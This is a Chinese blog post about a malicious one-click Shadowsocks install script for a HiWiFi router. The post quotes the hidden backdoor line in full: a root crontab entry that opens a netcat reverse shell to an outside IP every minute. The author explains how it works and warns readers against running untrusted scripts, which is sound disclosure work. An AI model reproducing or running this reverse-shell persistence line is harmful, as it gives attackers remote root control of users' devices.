什么?这xi。。哦不,这代码有毒
August 1, 2016
起源
之前在京东上开心的买了个极路由1s,百元内的智能路由,算是比较好用的。 当前主要是用来做shadowsock透明翻墙。
但极路由经常升级,每次升级都需要重新安装shadowsock,这一点十分麻烦。
好在网上有不少大神,写了各种一键安装脚本。
自然而然就点开了google搜索,键入关键字 “极路由shadowsocks“, 再来个按时间排序:Past month,想着有没有大神已经搞定了最新升级的脚本。
熟练地点开排名前三的连接, 一看第二个连接是github,嗯,开源代码,想来比较靠谱,果断点入,查看了下README的简介,感觉比较靠谱。果断按照readme的方式安装了。
在做到第三步的时候有点不是很理解为什要去jm33.me这个网站下载shell脚本执行,明明可以直接将脚本托管到github上的嘛。到这里我也只是疑惑,由于github不时会抽风,可能作者是想给国内用户提供更好的下载速度吧,想来楼主必是好人。
安装过程一切顺利。不多赘述。
然而shadowsock的插件页面并没有显示出来,而是报了一个错误。这。。看来还是得亲自动手看看问题到底在哪儿。
可疑的nc
先看看这个curl下载的shadow.sh到底做了啥?
额,此nc非彼nc, nc全名netcat是一个功能非常强大的网络工具,从man说明中:
and much, much more嗯, 霸气侧漏的描述。
在50行中,nc连接到了45.32.253.23端口1082。查了下ip发现是日本的一个服务器。
庖丁解牛
echo '*/1 * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 45.32.253.23 1082 >/tmp/f' >> /etc/crontabs/root
- 由外而内地看,这行代码是echo了一个字符串,然后把它附加到了/etc/crontabs/root文件的末尾,而这个文件正是root用户的定时执行任务列表, */1 * * * *表示每隔一分钟执行一次。
- 每次执行什么命令呢
简单来说就是通过mkfifo命令创建一条命名管道/tmp/f,然后用cat读取管道中的内容,并使用/bin/sh执行, 并将执行结果通过nc发送到45.32.253.23的1082端口,并将从nc接收到的命令通过命名管道f将和cat再送到/bin/sh执行。相当于创造了一条从远程执行shell命令的通道。而且属于反向链接,可以穿透nat。
2>&1
表示将stderr重定向到stdout
&表示等同于,即2的输出重定向并等同于1
- 管道命令只处理前一个命令正确输出,不处理错误输出
- 管道命令右边命令,必须能够接收标准输入流命令才行。 管道触发两个子进程执行”|“两边的程序;而重定向是在一个进程内执行
我们将地址改为localhost测试一下这个命令,果然直接拿到了路由器的root权限的shell:
后记
千万不要执行来路不明的代码,刷来路不明的rom。
参考: